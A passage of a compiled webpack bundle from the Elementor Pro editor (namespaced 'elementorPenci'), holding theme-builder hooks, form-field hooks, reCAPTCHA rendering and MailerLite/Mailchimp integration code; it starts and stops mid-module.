					behavior.ui.buttonPreview.tipsy('enable').removeClass('elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state');
				}
			}, {
				key: "removePublishTabs",
				value: function removePublishTabs() {
					var component = $e.components.get('theme-builder-publish');
					component.removeTab('conditions');
				}
			}]);
			return ThemeBuilderRemoveEditorUI;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderRemoveEditorUI = ThemeBuilderRemoveEditorUI;
		var _default = ThemeBuilderRemoveEditorUI;
		exports.default = _default;

		/***/ }),
	/* 399 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderToggleMenuConditions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderToggleMenuConditions = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderToggleMenuConditions, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderToggleMenuConditions);

			function ThemeBuilderToggleMenuConditions() {
				(0, _classCallCheck2.default)(this, ThemeBuilderToggleMenuConditions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderToggleMenuConditions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-theme-builder-toggle-menu-conditions';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'document';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return args.settings && args.settings.location;
				}
			}, {
				key: "apply",
				value: function apply() {
					var themeBuilder = elementorPenci.modules.themeBuilder;
					themeBuilder.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location);
				}
			}]);
			return ThemeBuilderToggleMenuConditions;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderToggleMenuConditions = ThemeBuilderToggleMenuConditions;
		var _default = ThemeBuilderToggleMenuConditions;
		exports.default = _default;

		/***/ }),
	/* 400 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.ThemeBuilderFooterSaverAfterSave = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var ThemeBuilderFooterSaverAfterSave = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(ThemeBuilderFooterSaverAfterSave, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(ThemeBuilderFooterSaverAfterSave);

			function ThemeBuilderFooterSaverAfterSave() {
				(0, _classCallCheck2.default)(this, ThemeBuilderFooterSaverAfterSave);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderFooterSaverAfterSave, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'theme-builder-footer-saver-after-save';
				}
			}, {
				key: "getConditions",
				value: function getConditions() {
					return elementor.config.document.support_site_editor;
				}
			}, {
				key: "apply",
				value: function apply(args, result) {
					var status = args.status;

					if (result.statusChanged) {
						this.onPageStatusChange(status);
					}
				}
			}, {
				key: "onPageStatusChange",
				value: function onPageStatusChange(newStatus) {
					if ('publish' !== newStatus) {
						return;
					}

					var options = {
						classes: 'e-theme-builder-save-toaster',
						message: elementor.config.document.panel.messages.publish_notification,
						buttons: [{
							name: 'open_site_editor',
							text: '<i class="eicon-external-link-square"></i><span class="e-theme-builder-toaster-button-text">' + elementorPenci.translate('open_site_editor') + '</span>',
							callback: function callback() {
								$e.run('app/open');
							}
						}, {
							name: 'view_live_site',
							text: '<i class="eicon-preview-medium"></i><span class="e-theme-builder-toaster-button-text">' + elementorPenci.translate('view_live_site') + '</span>',
							callback: function callback() {
								open(elementor.config.document.urls.permalink);
							}
						}]
					};
					elementor.notifications.showToast(options);
				}
			}]);
			return ThemeBuilderFooterSaverAfterSave;
		}($e.modules.hookUI.After);

		exports.ThemeBuilderFooterSaverAfterSave = ThemeBuilderFooterSaverAfterSave;

		/***/ }),
	/* 401 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(402));

		var FormsModule = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(FormsModule, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(FormsModule);

			function FormsModule() {
				(0, _classCallCheck2.default)(this, FormsModule);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(FormsModule, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					var ReplyToField = __webpack_require__(410),
						Recaptcha = __webpack_require__(411),
						MailerLite = __webpack_require__(412),
						Mailchimp = __webpack_require__(414),
						Drip = __webpack_require__(415),
						ActiveCampaign = __webpack_require__(416),
						GetResponse = __webpack_require__(417),
						ConvertKit = __webpack_require__(418);

					this.replyToField = new ReplyToField();
					this.mailchimp = new Mailchimp('form');
					this.recaptcha = new Recaptcha('form');
					this.drip = new Drip('form');
					this.activecampaign = new ActiveCampaign('form');
					this.getresponse = new GetResponse('form');
					this.convertkit = new ConvertKit('form');
					this.mailerlite = new MailerLite('form'); // Form fields

					var TimeField = __webpack_require__(419),
						DateField = __webpack_require__(420),
						AcceptanceField = __webpack_require__(421),
						UploadField = __webpack_require__(422),
						TelField = __webpack_require__(423);

					this.Fields = {
						time: new TimeField('form'),
						date: new DateField('form'),
						tel: new TelField('form'),
						acceptance: new AcceptanceField('form'),
						upload: new UploadField('form')
					};
					elementor.addControlView('Fields_map', __webpack_require__(424));
					elementor.addControlView('form-fields-repeater', __webpack_require__(425));
				}
			}, {
				key: "onElementorInitComponents",
				value: function onElementorInitComponents() {
					$e.components.register(new _component.default({
						manager: this
					}));
				}
			}]);
			return FormsModule;
		}(elementorModules.editor.utils.Module);

		exports.default = FormsModule;

		/***/ }),
	/* 402 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var hooks = _interopRequireWildcard(__webpack_require__(403));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'forms';
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}]);
			return Component;
		}($e.modules.ComponentBase);

		exports.default = Component;

		/***/ }),
	/* 403 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(404);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		var _ui = __webpack_require__(408);

		_Object$keys(_ui).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _ui[key];
				}
			});
		});

		/***/ }),
	/* 404 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "FormFieldsSanitizeCustomId", {
			enumerable: true,
			get: function get() {
				return _formFieldsSanitizeCustomId.FormFieldsSanitizeCustomId;
			}
		});

		_Object$defineProperty(exports, "FormFieldsSetCustomId", {
			enumerable: true,
			get: function get() {
				return _formFieldsSetCustomId.FormFieldsSetCustomId;
			}
		});

		_Object$defineProperty(exports, "FormFieldsAddFirstStep", {
			enumerable: true,
			get: function get() {
				return _formFieldsStep.FormFieldsAddFirstStep;
			}
		});

		var _formFieldsSanitizeCustomId = __webpack_require__(405);

		var _formFieldsSetCustomId = __webpack_require__(406);

		var _formFieldsStep = __webpack_require__(407);

		/***/ }),
	/* 405 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.FormFieldsSanitizeCustomId = void 0;

		__webpack_require__(19);

		__webpack_require__(172);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _assertThisInitialized2 = _interopRequireDefault(__webpack_require__(66));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var FormFieldsSanitizeCustomId = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(FormFieldsSanitizeCustomId, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(FormFieldsSanitizeCustomId);

			function FormFieldsSanitizeCustomId() {
				var _this;

				(0, _classCallCheck2.default)(this, FormFieldsSanitizeCustomId);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				(0, _defineProperty2.default)((0, _assertThisInitialized2.default)(_this), "ID_SANITIZE_FILTER", /[^\w]/g);
				return _this;
			}

			(0, _createClass2.default)(FormFieldsSanitizeCustomId, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-forms-fields-sanitize-custom-id';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'repeater';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return undefined !== args.settings.custom_id;
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers,
						settings = args.settings,
						custom_id = settings.custom_id; // eslint-disable-line camelcase

					if (custom_id.match(this.ID_SANITIZE_FILTER)) {
						// Re-render with old settings.
						containers.forEach(function (container) {
							var panelView = container.panel.getControlView('form_fields'),
								currentItemView = panelView.children.findByModel(container.settings),
								idView = currentItemView.children.find(function (view) {
									return 'custom_id' === view.model.get('name');
								});
							idView.render();
							idView.$el.find('input').trigger('focus');
						}); // Hook-Break.

						return false;
					}

					return true;
				}
			}]);
			return FormFieldsSanitizeCustomId;
		}($e.modules.hookData.Dependency);

		exports.FormFieldsSanitizeCustomId = FormFieldsSanitizeCustomId;
		var _default = FormFieldsSanitizeCustomId;
		exports.default = _default;

		/***/ }),
	/* 406 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.FormFieldsSetCustomId = void 0;

		__webpack_require__(19);

		__webpack_require__(110);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var FormFieldsSetCustomId = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(FormFieldsSetCustomId, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(FormFieldsSetCustomId);

			function FormFieldsSetCustomId() {
				(0, _classCallCheck2.default)(this, FormFieldsSetCustomId);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(FormFieldsSetCustomId, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/repeater/insert';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-forms-fields-set-custom-id';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'widget';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					return 'form_fields' === args.name;
				}
			}, {
				key: "apply",
				value: function apply(args, model) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers,
						isDuplicate = $e.commands.isCurrentFirstTrace('document/repeater/duplicate');
					containers.forEach(function (
						/** Container */
						container) {
						var itemContainer = container.repeaters.form_fields.children.find(function (childrenContainer) {
							// Sometimes, one of children is {Empty}.
							if (childrenContainer) {
								return model.get('_id') === childrenContainer.id;
							}

							return false;
						});

						if (!isDuplicate && itemContainer.settings.get('custom_id')) {
							return;
						}

						$e.run('document/elements/settings', {
							container: itemContainer,
							settings: {
								custom_id: 'field_' + itemContainer.id
							},
							options: {
								external: true
							}
						});
					});
					return true;
				}
			}]);
			return FormFieldsSetCustomId;
		}($e.modules.hookData.After);

		exports.FormFieldsSetCustomId = FormFieldsSetCustomId;
		var _default = FormFieldsSetCustomId;
		exports.default = _default;

		/***/ }),
	/* 407 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.FormFieldsAddFirstStep = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var FormFieldsAddFirstStep = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(FormFieldsAddFirstStep, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(FormFieldsAddFirstStep);

			function FormFieldsAddFirstStep() {
				(0, _classCallCheck2.default)(this, FormFieldsAddFirstStep);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(FormFieldsAddFirstStep, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-forms-fields-first-step';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'repeater';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers;
					return 'form' === containers[0].parent.parent.model.get('widgetType') && 'step' === args.settings.field_type;
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers2 = args.containers,
						containers = _args$containers2 === void 0 ? [args.container] : _args$containers2;
					containers.forEach(function (
						/** Container */
						container) {
						var firstItem = container.parent.children[0];

						if ('step' === firstItem.settings.get('field_type')) {
							return;
						}

						$e.run('document/repeater/insert', {
							container: container.parent.parent,
							// widget
							name: 'form_fields',
							model: {
								field_type: 'step'
							},
							options: {
								at: 0,
								external: true
							}
						});
					});
					return true;
				}
			}]);
			return FormFieldsAddFirstStep;
		}($e.modules.hookData.After);

		exports.FormFieldsAddFirstStep = FormFieldsAddFirstStep;
		var _default = FormFieldsAddFirstStep;
		exports.default = _default;

		/***/ }),
	/* 408 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "FormFieldsUpdateShortCode", {
			enumerable: true,
			get: function get() {
				return _formFieldsUpdateShortcode.FormFieldsUpdateShortCode;
			}
		});

		var _formFieldsUpdateShortcode = __webpack_require__(409);

		/***/ }),
	/* 409 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.FormFieldsUpdateShortCode = void 0;

		__webpack_require__(19);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var FormFieldsUpdateShortCode = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(FormFieldsUpdateShortCode, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(FormFieldsUpdateShortCode);

			function FormFieldsUpdateShortCode() {
				(0, _classCallCheck2.default)(this, FormFieldsUpdateShortCode);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(FormFieldsUpdateShortCode, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/elements/settings';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-forms-fields-update-shortcode';
				}
			}, {
				key: "getContainerType",
				value: function getContainerType() {
					return 'repeater';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					if (!$e.routes.isPartOf('panel/editor') || undefined === args.settings.custom_id) {
						return false;
					}

					return true;
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers;
					containers.forEach(function (
						/** Container */
						container) {
						var panelView = container.panel.getControlView('form_fields'),
							currentItemView = panelView.children.find(function (view) {
								return container.id === view.model.get('_id');
							}),
							shortcodeView = currentItemView.children.find(function (view) {
								return 'shortcode' === view.model.get('name');
							});
						shortcodeView.render();
					});
				}
			}]);
			return FormFieldsUpdateShortCode;
		}($e.modules.hookUI.After);

		exports.FormFieldsUpdateShortCode = FormFieldsUpdateShortCode;
		var _default = FormFieldsUpdateShortCode;
		exports.default = _default;

		/***/ }),
	/* 410 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = function () {
			var editor, editedModel, replyToControl;

			var setReplyToControl = function setReplyToControl() {
				replyToControl = editor.collection.findWhere({
					name: 'email_reply_to'
				});
			};

			var getReplyToView = function getReplyToView() {
				return editor.children.findByModelCid(replyToControl.cid);
			};

			var refreshReplyToElement = function refreshReplyToElement() {
				var replyToView = getReplyToView();

				if (replyToView) {
					replyToView.render();
				}
			};

			var updateReplyToOptions = function updateReplyToOptions() {
				var settingsModel = editedModel.get('settings'),
					emailModels = settingsModel.get('form_fields').where({
						field_type: 'email'
					}),
					emailFields;
				emailModels = _.reject(emailModels, {
					field_label: ''
				});
				emailFields = _.map(emailModels, function (model) {
					return {
						id: model.get('custom_id'),
						label: elementorPenci.translate('x_field', [model.get('field_label')])
					};
				});
				replyToControl.set('options', {
					'': replyToControl.get('options')['']
				});

				_.each(emailFields, function (emailField) {
					replyToControl.get('options')[emailField.id] = emailField.label;
				});

				refreshReplyToElement();
			};

			var updateDefaultReplyTo = function updateDefaultReplyTo(settingsModel) {
				replyToControl.get('options')[''] = settingsModel.get('email_from');
				refreshReplyToElement();
			};

			var onFormFieldsChange = function onFormFieldsChange(changedModel) {
				// If it's repeater field
				if (changedModel.get('custom_id')) {
					if ('email' === changedModel.get('field_type')) {
						updateReplyToOptions();
					}
				}

				if (changedModel.changed.email_from) {
					updateDefaultReplyTo(changedModel);
				}
			};

			var onPanelShow = function onPanelShow(panel, model) {
				editor = panel.getCurrentPageView();
				editedModel = model;
				setReplyToControl();
				var settingsModel = editedModel.get('settings');
				settingsModel.on('change', onFormFieldsChange);
				updateDefaultReplyTo(settingsModel);
				updateReplyToOptions();
			};

			var init = function init() {
				elementor.hooks.addAction('panel/open_editor/widget/form', onPanelShow);
			};

			init();
		};

		/***/ }),
	/* 411 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementorModules.editor.utils.Module.extend({
			enqueueRecaptchaJs: function enqueueRecaptchaJs(url, type) {
				if (!elementorFrontend.elements.$body.find('[src="' + url + '"]').length) {
					elementorFrontend.elements.$body.append('<scr' + 'ipt src="' + url + '" id="recaptcha-' + type + '"</scri' + 'pt>');
				}
			},
			renderField: function renderField(inputField, item) {
				inputField += '<div class="elementor-field ' + item.field_type + ' ">';
				inputField += this.getDataSettings(item);
				inputField += '</div>';
				return inputField;
			},
			getDataSettings: function getDataSettings(item) {
				var config = elementorPenci.config.forms[item.field_type],
					srcURL = 'https://www.google.com/recaptcha/api.js?render=explicit';

				if (!config.enabled) {
					return '<div class="elementor-alert elementor-alert-info">' + config.setup_message + '</div>';
				}

				var recaptchaData = 'data-sitekey="' + config.site_key + '" data-type="' + config.type + '"';

				switch (config.type) {
					case 'v3':
						recaptchaData += ' data-action="form" data-size="invisible" data-badge="' + item.recaptcha_badge + '"';
						break;

					case 'v2_checkbox':
						recaptchaData += ' data-theme="' + item.recaptcha_style + '"';
						recaptchaData += ' data-size="' + item.recaptcha_size + '"';
						break;
				}

				this.enqueueRecaptchaJs(srcURL, config.type);
				return '<div class="elementor-g-recaptcha' + _.escape(item.css_classes) + '" ' + recaptchaData + '></div>';
			},
			filterItem: function filterItem(item) {
				if ('recaptcha' === item.field_type) {
					item.field_label = false;
				}

				return item;
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/item', this.filterItem);
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/recaptcha', this.renderField, 10, 2);
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/recaptcha_v3', this.renderField, 10, 2);
			}
		});

		/***/ }),
	/* 412 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var BaseIntegrationModule = __webpack_require__(199);

		module.exports = BaseIntegrationModule.extend({
			fields: {},
			getName: function getName() {
				return 'mailerlite';
			},
			onElementChange: function onElementChange(setting) {
				switch (setting) {
					case 'mailerlite_api_key_source':
					case 'mailerlite_custom_api_key':
						this.onMailerliteApiKeyUpdate();
						break;

					case 'mailerlite_group':
						this.updateFieldsMapping();
						break;
				}
			},
			onMailerliteApiKeyUpdate: function onMailerliteApiKeyUpdate() {
				var self = this,
					controlView = self.getEditorControlView('mailerlite_custom_api_key'),
					GlobalApiKeycontrolView = self.getEditorControlView('mailerlite_api_key_source');

				if ('default' !== GlobalApiKeycontrolView.getControlValue() && '' === controlView.getControlValue()) {
					self.updateOptions('mailerlite_group', []);
					self.getEditorControlView('mailerlite_group').setValue('');
					return;
				}

				self.addControlSpinner('mailerlite_group');
				var cacheKey = this.getCacheKey({
					type: 'groups',
					controls: [controlView.getControlValue(), GlobalApiKeycontrolView.getControlValue()]
				});
				self.getMailerliteCache('groups', 'groups', cacheKey).done(function (data) {
					self.updateOptions('mailerlite_group', data.groups);
					self.fields = data.fields;
				});
			},
			updateFieldsMapping: function updateFieldsMapping() {
				var controlView = this.getEditorControlView('mailerlite_group');

				if (!controlView.getControlValue()) {
					return;
				}

				var remoteFields = [{
					remote_label: elementor.translate('Email'),
					remote_type: 'email',
					remote_id: 'email',
					remote_required: true
				}, {
					remote_label: elementor.translate('Name'),
					remote_type: 'text',
					remote_id: 'name',
					remote_required: false
				}, {
					remote_label: elementor.translate('Last Name'),
					remote_type: 'text',
					remote_id: 'last_name',
					remote_required: false
				}, {
					remote_label: elementor.translate('Company'),
					remote_type: 'text',
					remote_id: 'company',
					remote_required: false
				}, {
					remote_label: elementor.translate('Phone'),
					remote_type: 'text',
					remote_id: 'phone',
					remote_required: false
				}, {
					remote_label: elementor.translate('Country'),
					remote_type: 'text',
					remote_id: 'country',
					remote_required: false
				}, {
					remote_label: elementor.translate('State'),
					remote_type: 'text',
					remote_id: 'state',
					remote_required: false
				}, {
					remote_label: elementor.translate('City'),
					remote_type: 'text',
					remote_id: 'city',
					remote_required: false
				}, {
					remote_label: elementor.translate('Zip'),
					remote_type: 'text',
					remote_id: 'zip',
					remote_required: false
				}];

				for (var field in this.fields) {
					if (this.fields.hasOwnProperty(field)) {
						remoteFields.push(this.fields[field]);
					}
				}

				this.getEditorControlView('mailerlite_fields_map').updateMap(remoteFields);
			},
			getMailerliteCache: function getMailerliteCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'mailerlite',
					mailerlite_action: action,
					custom_api_key: this.getEditorControlView('mailerlite_custom_api_key').getControlValue(),
					api_key: this.getEditorControlView('mailerlite_api_key_source').getControlValue()
				});
				return this.fetchCache(type, cacheKey, requestArgs);
			},
			onSectionActive: function onSectionActive() {
				BaseIntegrationModule.prototype.onSectionActive.apply(this, arguments);
				this.onMailerliteApiKeyUpdate();
			}
		});

		/***/ }),
	/* 413 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementorModules.editor.utils.Module.extend({
			elementType: null,
			__construct: function __construct(elementType) {
				this.elementType = elementType;
				this.addEditorListener();
			},
			addEditorListener: function addEditorListener() {
				var self = this;

				if (self.onElementChange) {
					var eventName = 'change';

					if ('global' !== self.elementType) {
						eventName += ':' + self.elementType;
					}

					elementor.channels.editor.on(eventName, function (controlView, elementView) {
						self.onElementChange(controlView.model.get('name'), controlView, elementView);
					});
				}
			},
			addControlSpinner: function addControlSpinner(name) {
				var $el = this.getEditorControlView(name).$el,
					$input = $el.find(':input');

				if ($input.attr('disabled')) {
					return;
				}

				$input.attr('disabled', true);
				$el.find('.elementor-control-title').after('<span class="elementor-control-spinner"><i class="eicon-spinner eicon-animation-spin"></i>&nbsp;</span>');
			},
			removeControlSpinner: function removeControlSpinner(name) {
				var $controlEl = this.getEditorControlView(name).$el;
				$controlEl.find(':input').attr('disabled', false);
				$controlEl.find('.elementor-control-spinner').remove();
			},
			addSectionListener: function addSectionListener(section, callback) {
				var self = this;
				elementor.channels.editor.on('section:activated', function (sectionName, editor) {
					var model = editor.getOption('editedElementView').getEditModel(),
						currentElementType = model.get('elType'),
						_arguments = arguments;

					if ('widget' === currentElementType) {
						currentElementType = model.get('widgetType');
					}

					if (self.elementType === currentElementType && section === sectionName) {
						setTimeout(function () {
							callback.apply(self, _arguments);
						}, 10);
					}
				});
			}
		});

		/***/ }),
	/* 414 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var BaseIntegrationModule = __webpack_require__(199);

		module.exports = BaseIntegrationModule.extend({
			getName: function getName() {
				return 'mailchimp';
			},
			onElementChange: function onElementChange(setting) {
				switch (setting) {
					case 'mailchimp_api_key_source':
					case 'mailchimp_api_key':
						this.onApiUpdate();
						break;

					case 'mailchimp_list':
						this.onMailchimpListUpdate();
						break;
				}
			},
			onApiUpdate: function onApiUpdate() {
				var self = this,
					controlView = self.getEditorControlView('mailchimp_api_key'),
					GlobalApiKeycontrolView = self.getEditorControlView('mailchimp_api_key_source');

				if ('default' !== GlobalApiKeycontrolView.getControlValue() && '' === controlView.getControlValue()) {
					self.updateOptions('mailchimp_list', []);
					self.getEditorControlView('mailchimp_list').setValue('');
					return;
				}

				self.addControlSpinner('mailchimp_list');
				var cacheKey = this.getCacheKey({
					type: 'lists',
					controls: [controlView.getControlValue(), GlobalApiKeycontrolView.getControlValue()]
				});
				self.getMailchimpCache('lists', 'lists', cacheKey).done(function (data) {
					self.updateOptions('mailchimp_list', data.lists);
					self.updatMailchimpList();
				});
			},
			onMailchimpListUpdate: function onMailchimpListUpdate() {
				this.updateOptions('mailchimp_groups', []);
				this.getEditorControlView('mailchimp_groups').setValue('');
				this.updatMailchimpList();
			},
			updatMailchimpList: function updatMailchimpList() {
				var self = this,
					controlView = self.getEditorControlView('mailchimp_list');

				if (!controlView.getControlValue()) {
					return;
				}

				self.addControlSpinner('mailchimp_groups');
				this.getCacheKey({
					type: 'list_details',
					controls: [controlView.getControlValue()]
				});
				self.getMailchimpCache('list_details', 'list_details', controlView.getControlValue(), {
					mailchimp_list: controlView.getControlValue()
				}).done(function (data) {
					self.updateOptions('mailchimp_groups', data.list_details.groups);
					self.getEditorControlView('mailchimp_fields_map').updateMap(data.list_details.fields);
				});
			},
			getMailchimpCache: function getMailchimpCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'mailchimp',
					mailchimp_action: action,
					api_key: this.getEditorControlView('mailchimp_api_key').getControlValue(),
					use_global_api_key: this.getEditorControlView('mailchimp_api_key_source').getControlValue()
				});
